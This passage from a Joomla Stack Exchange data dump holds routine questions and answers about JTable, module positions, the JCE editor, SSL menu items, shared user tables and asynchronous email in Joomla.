not happening&#xA;     return parent::store($updateNulls);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that, I've passed the data from my Model to JTable as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    // $data here is an array of containing following value:&#xA;    // $data = array('col1' =&amp;gt; 'somevalue1', 'col2' =&amp;gt; 'somevalue2', 'col3' =&amp;gt; 'somevalue3', 'col4' =&amp;gt; 'somevalue4');&#xA;&#xA;    // It is then passed to the JTable with following:&#xA;&#xA;    $table = $this-&amp;gt;getTable();&#xA;    $key   = $table-&amp;gt;getKeyName();&#xA;&#xA;    // Get Primary Key Value&#xA;    $pk = (!empty($data[$key]) ? $data[$key] : (int) $this-&amp;gt;getState($this-&amp;gt;getName() . '.id'));&#xA;&#xA;    $isNew = true;&#xA;&#xA;    try&#xA;    {&#xA;        if ($pk &amp;gt; 0)&#xA;        {&#xA;            $table-&amp;gt;load($pk);&#xA;            $isNew = false;&#xA;        }&#xA;&#xA;        // Bind the data.&#xA;        $table-&amp;gt;bind($data);&#xA;&#xA;        // Check the data.&#xA;        if (!$table-&amp;gt;check())&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        // Store the data.&#xA;        if (!$table-&amp;gt;store())&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        // Clean the cache.&#xA;        $this-&amp;gt;cleanCache();&#xA;    }&#xA;    catch (Exception $ex)&#xA;    {&#xA;        throw new RuntimeException('There was an error while saving data');&#xA;    }&#xA;&#xA;    $this-&amp;gt;setState($this-&amp;gt;getName() . '.id', $table-&amp;gt;$key);&#xA;    $this-&amp;gt;setState($this-&amp;gt;getName() . '.new', $isNew);&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Research&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It seems that, JTable execute some function which further filters $data and removes keys which are not present in #__table1. If anyone can atleast get me to that table then, I can override it further. I tried to look at bind() method. But it doesn't seems to be filtering that $data as I tried printing the out of $data before bind() get's executed in JTable function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="126" LastEditDate="2015-06-11T13:44:53.070" LastActivityDate="2015-11-29T16:16:29.180" Title="JTable - Access properties that does not belongs to the specified table" Tags="|joomla-3.x|component|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10126" PostTypeId="2" ParentId="9846" CreationDate="2015-05-26T11:41:16.000" Score="0" Body="&lt;p&gt;I've resolved this issue so I figured I'd post the answer here, it might help someone.&#xA;The module won't display some more complex modules within itself, more like Random Image module or Custom HTML modules, so that was one issue.&#xA;In order to show the new positions, you just have to type the name of the module position manually in and it works nicely.&#xA;I hope this'll be useful.&lt;/p&gt;&#xA;" OwnerUserId="5214" LastActivityDate="2015-05-26T11:41:16.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10127" PostTypeId="1" CreationDate="2015-05-26T13:40:51.977" Score="2" ViewCount="810" Body="&lt;p&gt;I'm not as expert in php, so sorry in advance (i'm using Joomla! 3.3.6 in Italian).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do / get is:&#xA;- create and enable an HTML module into Joomla, with position &quot;position-x&quot; (which does not really exist in the template)&#xA;- call this module, if a certain condition occurs, by php (in my index.php), between two specific modules in the same position &quot;sidebar&quot;, identified by id, or by order or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? I am looking for suggestion, an idea ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="5326" LastEditorUserId="3650" LastEditDate="2016-03-08T00:53:03.533" LastActivityDate="2016-04-07T05:08:33.827" Title="Load a module between modules in the same position" Tags="|php|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10128" PostTypeId="1" CreationDate="2015-05-26T14:07:47.140" Score="1" ViewCount="1984" Body="&lt;p&gt;As you know, JCE file manager is not free. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I am after a free plugin or component that can attach files (pdf,doc,zip, ...) to an article, but it must provide easy access from editor, like file manager of JCE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I need that this component supports drag&amp;amp;drop files option.&#xA;Is there any free plugin/component that can do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(also it should be compatible with joomla 3.x)&lt;/p&gt;&#xA;" OwnerUserId="5328" LastEditorUserId="126" LastEditDate="2015-06-11T13:54:16.893" LastActivityDate="2017-08-20T00:35:22.510" Title="Free file attachment to editor (alternative of JCE file manager plugin)" Tags="|joomla-3.x|component|plugin|file-upload|jce|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10129" PostTypeId="1" CreationDate="2015-05-26T14:11:12.990" Score="0" ViewCount="103" Body="&lt;p&gt;I have a website in joomla , the problem is that when i am creating new back end user (administrator/super user) from joomla user manager it makes an entry in the users table after that it deleted it and it is also not updating any user.&#xA;When i am creating the front end user , the front end user creating successfully&lt;/p&gt;&#xA;" OwnerUserId="5329" LastActivityDate="2015-05-26T14:11:12.990" Title="Joomla 1.5 creating or editing back end user" Tags="|php|plugin|mysql|joomla-1.5|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10130" PostTypeId="1" AcceptedAnswerId="10135" CreationDate="2015-05-26T16:02:24.703" Score="2" ViewCount="201" Body="&lt;p&gt;I have site with https. I have a few wrappers menu items that load forms from another site. These sites are not mine and they do not use ssl.&#xA;Before I switch to https, everything was loading normally, but after enabling https, the forms are getting blocked by the browsers, warning me about insecure content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: is it possible to exclude these specific pages from https and load them through http?&lt;/p&gt;&#xA;" OwnerUserId="5327" LastEditorUserId="126" LastEditDate="2015-05-26T17:49:10.637" LastActivityDate="2015-05-26T17:49:10.637" Title="How to exclude specific menu item from https? (wrapper menu item)" Tags="|menu-item|ssl|https|wrapper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10131" PostTypeId="2" ParentId="10123" CreationDate="2015-05-26T16:03:39.820" Score="1" Body="&lt;p&gt;I created an .htaccess file to overwrite the URL so &quot;www.&quot; is always at the beginning of the URL. Otherwise it went wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code for the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteEngine On&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteBase /&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{HTTP_HOST} !^www.example.com$ [NC]&#xA;RewriteRule ^(.*)$ &lt;a href=&quot;http://www.example.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/&lt;/a&gt;$1 [R=301,L]&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-05-26T16:03:39.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10132" PostTypeId="1" AcceptedAnswerId="10134" CreationDate="2015-05-26T16:06:23.013" Score="1" ViewCount="618" Body="&lt;p&gt;I need to disable JCE component on the backend because it is stripping code in certain articles/components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In global configuration, I tried changing the editor to codemirror or none, but it doesn't matter: whenever I create new content, I get JCE as the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also disabled JCE component from the extensions/manage menu, but JCE is really persistent!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also cleared cache (including browser's), but nothing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help anyone?&lt;/p&gt;&#xA;" OwnerUserId="5250" LastEditorUserId="126" LastEditDate="2015-06-10T08:53:45.393" LastActivityDate="2015-06-10T08:53:45.393" Title="Disable JCE in Administrator" Tags="|joomla-3.x|editor|jce|global-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10133" PostTypeId="1" AcceptedAnswerId="10160" CreationDate="2015-05-26T16:19:07.347" Score="1" ViewCount="3272" Body="&lt;p&gt;Is there any Joomla way to return the path or parent's folder path of a current script? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far when needed, I am using the Joomla Constants and building manually the remaining of the path. It's also possible with php, but I am wondering if there is any Joomla API functionality to get around this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's say I am inside a template override:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/mytemplate/html/my_component/my_view/template.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And want to create a new directory inside the parent &quot;view&quot; directory in order to place a file inside it, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/mytemplate/html/my_component/my_view/newDir/newfile.ext&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I want to call/link that new newFile.ext from the template.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any Joomla way to get the path of my_view dir?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-26T16:43:22.253" LastActivityDate="2015-05-28T09:11:44.233" Title="Get current script's and its parent folder path" Tags="|php|development|joomla-api|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10134" PostTypeId="2" ParentId="10132" CreationDate="2015-05-26T16:27:43.400" Score="1" Body="&lt;p&gt;Which editor will be used can be controlled by each user. So it's possible that inside your user settings you have selected the JCE editor as your editor's choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you can go into the &lt;strong&gt;Plugin manager -&gt; Editors&lt;/strong&gt; and disable the JCE editor plugin, which will make it unavailable across the Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, JCE provides plenty of customizable options. Most likely you can tweak it, so it won't strip out the code you are trying to insert. You can even create various profiles with different behavior or set of features and assign them to specific users/usergroups or extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, keep in mind that it's not only the JCE that might strip out your code. Joomla itself has filtering options. You can review them at &lt;strong&gt;Global Configuration -&gt; Text Filter&lt;/strong&gt; tab.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-26T16:35:47.613" LastActivityDate="2015-05-26T16:35:47.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10135" PostTypeId="2" ParentId="10130" CreationDate="2015-05-26T16:49:19.193" Score="2" Body="&lt;p&gt;You can select if you want a specific menu item to be secured with SSL or not. Inside your wrapper menu item, go to the Metadata Tab and you will find the &quot;Secure&quot; field option. You can set it to off.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-26T16:49:19.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10136" PostTypeId="2" ParentId="10127" CreationDate="2015-05-26T18:19:51.693" Score="2" Body="&lt;p&gt;Not sure if I am clear with what you are trying to achieve. &#xA;But you can't call other modules to appear inside another module position - at least I am not aware of an easy way to do something like this, so you can't inject a module that is assigned to another module position in between 2 other modules of another position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if you want to show that module at that position, then why don't you assign it at that position?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also for conditions, the core module manager allows you to assign the module by menu item. If you need more flexibility, you can use the &lt;a href=&quot;https://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Advanced Module Manager by NoNumber&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the other hand, if you want to make things happen from inside your template and add custom php logic, I think you will need to create different module positions for the sidebar position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. if you want to show 2 modules and under certain conditions to show one more in the middle, you will need 3 module positions:&lt;br&gt;&#xA;The left, the centre and the right and you have to arrange their positioning with CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally you can load a module from inside your template with the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;jimport( 'joomla.application.module.helper' );&#xA;&#xA;$modules = JModuleHelper::getModules( 'myposition' ); // Get Modules assigned at a position myposition (Returns an array)- it can be a custom position. &#xA;&#xA;$attribs = array('style' =&amp;gt; 'xhtml'); // define module attributes, like module chrome. &#xA;&#xA;if (count($modules)&amp;gt;0) { // Checking if there are any modules ?&amp;gt; &#xA;&#xA;    &amp;lt;!-- Module wrapper --&amp;gt;&#xA;    &amp;lt;div id=&quot;top-contentb&quot; class=&quot;top-content&quot;&amp;gt;&#xA;&#xA;       &amp;lt;?php echo JModuleHelper::renderModule($modules[0], $attribs); // Render the first module of the $modules array.?&amp;gt; &#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps a bit.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-26T18:19:51.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10139" PostTypeId="1" AcceptedAnswerId="10886" CreationDate="2015-05-26T19:32:51.130" Score="2" ViewCount="583" Body="&lt;p&gt;I have a menu system that goes from &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home &gt; Song &gt; Song_title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a menu item for 'Song' that is on the menu module; when I click song it brings up a list of all items with the 'popular' tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click the specific song (song_title), then on the song_title page I have a  breadcrumb which shows the same path as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the 'Song' menu item is different from the 'Song' in the breadcrumb, they bring up different things. The breadcrumb link brings up the ID+category link which I don't want.&lt;/p&gt;&#xA;" OwnerDisplayName="user5312" LastActivityDate="2015-07-21T14:09:22.927" Title="Cannot create a coherent path with breadcrumbs" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10140" PostTypeId="1" CreationDate="2015-05-26T20:53:49.610" Score="1" ViewCount="685" Body="&lt;p&gt;I created a user group with a corresponding user level in Joomla 3 to provide access to a sigle component (Akeeba subscriptions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in global configuration I gave the group the permission to login to admin. And in the component options to access admin interface and edit the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works ok, but the user can't view the component dashboard. He can only see a basic report wiht the latest 20 subscriptions. He can't go beyond that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this? &lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2015-05-28T09:02:35.990" Title="Joomla 3 provide admin access to a single component" Tags="|joomla-3.x|component|acl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10141" PostTypeId="2" ParentId="10024" CreationDate="2015-05-26T21:00:24.910" Score="1" Body="&lt;p&gt;Your question is not entirely correct.&#xA;Your submit button is invoking a method &lt;code&gt;save()&lt;/code&gt; on a controller. You can find out the correct controller by inspecting the task field of the form &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;task&quot; value=&quot;controllername.save&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or it could be in a parameter of the form's &lt;code&gt;action&lt;/code&gt; attribute i.e. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;index.php?option=com_component&amp;amp;task=controllername.save&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now open the &lt;code&gt;controllername.php&lt;/code&gt;, and find the &lt;code&gt;save()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you will find a model being instantiated; in case it's implicit, such as &#xA;&lt;code&gt;$this-&amp;gt;getModel()&lt;/code&gt; look for a model named like the controller. Otherwise the name will be spelled out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the model, and find the &lt;code&gt;save()&lt;/code&gt; function there.  Most likely it will get an instance of a &lt;code&gt;JTable&lt;/code&gt; object, then invoke the &lt;code&gt;save()&lt;/code&gt; method on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now at the very start of the &lt;code&gt;save()&lt;/code&gt; function in your model, you will have the new data available, and not yet persisted to the database.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's an edit, the &lt;code&gt;id&lt;/code&gt; field will be set, else in case of a new record it will be 0 or null.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the &lt;code&gt;id&lt;/code&gt; is valid, query the database for the current values, i.e. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$oldValues = $db-&amp;gt;setQuery('select * from #__tablename where id='.$db-&amp;gt;quote($id))-&amp;gt;loadObject();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The look down at the function and find the place where &lt;code&gt;$someTableInstance.save()&lt;/code&gt; is invoked, and examine the result. If it succeeds, then the edit was successful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now check the previous data you stored in &lt;code&gt;$oldValues&lt;/code&gt;, compare it with the content of &lt;code&gt;$data&lt;/code&gt;, and create your desired history / logging features.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2015-05-26T21:00:24.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10142" PostTypeId="2" ParentId="9979" CreationDate="2015-05-26T21:14:33.240" Score="1" Body="&lt;p&gt;Your form might invoke a function that performs the export feature; given&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name='task' value='normaltask'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in the script something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function exportCsvButton() {&#xA;    document.getElementById('task').value = 'export.csv';&#xA;    form.submit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you look at the other links on the page, they may be invoking a different function which is not resetting the &lt;code&gt;task&lt;/code&gt;; hence once it's changed, it stays changed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply add an instruction resetting the task, you could even put it in the &lt;code&gt;exportCsvButton()&lt;/code&gt; function after you invoke &lt;code&gt;form.submit()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redirecting in the controller would not work, &lt;code&gt;JApplication::close()&lt;/code&gt; is invoked appropriately to stop execution after the file has been transferred.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2015-05-26T21:14:33.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10143" PostTypeId="2" ParentId="10090" CreationDate="2015-05-26T21:20:35.437" Score="2" Body="&lt;p&gt;You created two &lt;em&gt;layouts&lt;/em&gt; (stored in &lt;code&gt;views/helloworld/tmpl&lt;/code&gt;). &#xA;What you want to do is create a new &lt;em&gt;view&lt;/em&gt;, i.e. &lt;code&gt;views/other/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;view.html.php&lt;/code&gt; file therein you can invoke the same or a different model to get the data you want. Look at the code of some simple components like &lt;code&gt;com_users&lt;/code&gt; to get a feel of how it's done, or read the docs.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2015-05-26T21:20:35.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10144" PostTypeId="1" AcceptedAnswerId="10318" CreationDate="2015-05-26T21:28:16.163" Score="3" ViewCount="88" Body="&lt;p&gt;Is there a way of finding for a given file in &lt;em&gt;&lt;code&gt;/images&lt;/code&gt;&lt;/em&gt; what (if any) articles are using it? Or conversely, what dead links towards files exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objective is to restore sanity to a wholly messed-up media folder with traces of several different restructuration attempts... So subfolders by year, subfolders by theme, folders named &lt;em&gt;&lt;code&gt;/other&lt;/code&gt;&lt;/em&gt; or &lt;em&gt;&lt;code&gt;/newer&lt;/code&gt;&lt;/em&gt; etc, plus loads at the top level, and many images and textdocuments in multiple copies of differing versions. So to bundle all versions of an image ('our team leader') or document, it's important that no broken links are created (or: that they get quickly repaired). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a Joomla trick or extension that would do this, or a non-Joomla approach?&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2015-06-05T15:13:42.770" Title="What content is using a given file in the media manager?" Tags="|joomla-3.x|content|media-manager|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10145" PostTypeId="1" CreationDate="2015-05-27T04:44:43.867" Score="3" ViewCount="1042" Body="&lt;p&gt;I have a Joomla! site and now I want to make some subdomains. But, I want that the users must be the same in both. Like, if a user logs on to the main site and then goes to the subdomain at the same time, he won't need to log in again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that, if I will share these tables, it can be ok:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tables #__user% and #__sessions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I do it?&lt;/li&gt;&#xA;&lt;li&gt;Can I share users between 2 or more Joomla! databases?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5327" LastEditorUserId="5638" LastEditDate="2016-08-26T13:12:08.297" LastActivityDate="2018-03-08T11:37:39.367" Title="How to share table between 2 or more databases?" Tags="|joomla-3.x|mysql|database|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10146" PostTypeId="2" ParentId="10145" CreationDate="2015-05-27T05:31:48.717" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/mightysites&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/mightysites&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the help of this component, you will be able to share the &quot;users&quot; table between two or more Joomla! websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will give you content, users, and other db table-sharing capabilities between two sites in a variety of configurations.&lt;/p&gt;&#xA;" OwnerUserId="3640" LastEditorUserId="5638" LastEditDate="2016-08-26T13:44:52.977" LastActivityDate="2016-08-26T13:44:52.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10147" PostTypeId="2" ParentId="9987" CreationDate="2015-05-27T05:58:37.660" Score="0" Body="&lt;p&gt;try adding this component it has many filtering options for the modules display&#xA;&lt;a href=&quot;https://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;https://www.nonumber.nl/extensions/advancedmodulemanager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3640" LastActivityDate="2015-05-27T05:58:37.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10149" PostTypeId="1" CreationDate="2015-05-27T09:25:57.157" Score="2" ViewCount="1638" Body="&lt;p&gt;I am developing an ecommerce component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed that when the user makes the purchase, the process takes between 18 and 20 seconds, which is quite unacceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following up the code, I have found that sending emails using Joomla Mailer takes between 1.8 to 2.4 seconds each, and as I have to send several Emails, this explains why the process takes so long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way by which we can send emails asynchronous?.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="454" LastEditDate="2018-09-07T15:56:58.527" LastActivityDate="2018-09-07T15:56:58.527" Title="How to launch an asynchronous php process" Tags="|php|component|development|emails|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10150" PostTypeId="1" AcceptedAnswerId="15132" CreationDate="2015-05-27T10:18:55.610" Score="0" ViewCount="51" Body="&lt;p&gt;We print out the admin order confirmation e-mail for our clients. The order number (example - 8ae20135) is too confusing for them. The current system is Joomla 2.5 / VM3. On the old version of Joomla 1.5 / VM1 the order number was simple (examples - 1, 2, 3... etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to change this? Or is the order number stuck like this?&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2016-01-31T11:31:20.097" Title="VM3 Order Numbers" Tags="|joomla-2.5|virtuemart|id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10151" PostTypeId="2" ParentId="10149" CreationDate="2015-05-27T12:59:48.940" Score="3" Body="&lt;p&gt;You can't run asynchronous PHP processes.&#xA;What you can do is to try using a queue system. The simplest thing would have a cron job running which checks for mailjobs to be sent.&#xA;Then your component just has to enter the information into a database table and the cron then picks it up and creates the emails.&#xA;Depending on how often you run the cron, it obviously means a delay between the order and the email being sent.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-05-27T12:59:48.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10152" PostTypeId="2" ParentId="9873" CreationDate="2015-05-27T13:17:28.650" Score="2" Body="&lt;p&gt;It should work as long as your form is generated using JForm.&#xA;If you build your HTML for the form yourself, then you may have to manually add the needed code and markup.&#xA;Try rendering the field using &lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('title'); ?&amp;gt;&lt;/code&gt; or in case of the foreach you could use &lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField($field-&amp;gt;fieldname); ?&amp;gt;&lt;/code&gt;&#xA;This seems to work in my case.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-05-27T13:17:28.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10153" PostTypeId="2" ParentId="10149" CreationDate="2015-05-27T18:03:32.347" Score="4" Body="&lt;p&gt;It seems to me that the question you are asking is perhaps not the one you meant to ask (if I may be so bold).  I'm assuming that 18-20s response is unacceptable either because it's a poor user experience and/or it's annoying for any admin type work (perhaps undertaken by just you).  Your analysis of the problem lying with e-mail dispatch suggests that by significantly altering that will improve the primary symptom - the 18-20s response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, perhaps your question should have been &quot;How can I alter the mail dispatch process so that it doesn't block the remainder of the processing?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The possible answers to &lt;em&gt;that&lt;/em&gt; question depend on whether you are self-hosting / virtual-hosting or are using a shared server.  With most mail dispatch procedures, mail(s) are submitted to an SMTP server for onward delivery to the final destination(s).  Note, I make the distinction between dispatch (what you need to do) and delivery (what the SMTP server(s) do).  For a variety of reasons, hosting providers normally recommend you send mail via one or other of their servers - which would normally respond &lt;em&gt;much&lt;/em&gt; quicker than the 1.8-2.4s you quote - mail submission should be tens or hundreds of milliseconds only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you feel you have the skills, inclination and full server access, then you could implement one of the many available SMTP servers (for *nix systems, &lt;a href=&quot;http://www.postfix.org/&quot; rel=&quot;nofollow&quot;&gt;Postfix&lt;/a&gt; and &lt;a href=&quot;http://www.exim.org/&quot; rel=&quot;nofollow&quot;&gt;Exim&lt;/a&gt; are good options - for Windows, you could try &lt;a href=&quot;https://www.hmailserver.com/&quot; rel=&quot;nofollow&quot;&gt;hMailServer&lt;/a&gt;).  Then, that local SMTP server would handle your mail submissions, queue them up and then handle the onward delivery asynchronously.  But, of course, this comes at the cost of setting up and managing those services (and ensuring you don't inadvertently set up an &lt;a href=&quot;http://en.wikipedia.org/wiki/Open_mail_relay&quot; rel=&quot;nofollow&quot;&gt;open mail relay&lt;/a&gt; (very bad)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are already using your ISP's mail server (perhaps called a &quot;smart host&quot;) and it &lt;em&gt;is&lt;/em&gt; taking circa 2s per mail, you should check whether the bulk of that delay is in the PHP handling before submission to the server or whether it really is the server.  If you have terminal access to your own server, then you could try telnetting from there to the ISP's mail server on port 25 and seeing if the response time for the banner does take a &quot;long&quot; time (many servers do, either by intention or due to loading).  Here's a Microsoft link to how to do such testing: &lt;a href=&quot;https://technet.microsoft.com/en-us/library/aa995718%28v=exchg.65%29.aspx&quot; rel=&quot;nofollow&quot;&gt;MS Technet article - SMTP telnet testing&lt;/a&gt;. If the delay is long, I'd ask the ISP why - if the response is unsatisfactory, you may have to go back to the own-SMTP-server scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, I assume you are using BCC to send the mails out, otherwise you can normally submit several e-mail addresses with one body (BCC does one body per recipient so that each one cannot see the others) - if BCC is not required, then this would potentially cut the response time from N x 2s to just 2s, for N recipients.  N is limited to about 20, but there are many factors determining that which you would have to investigate in your environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to stick with the original question about asynchronous PHP scripting - you might end up going down a complex but ultimately dead-end path.  From what you say, I strongly advise making sure your mail submissions are quick and queued in a 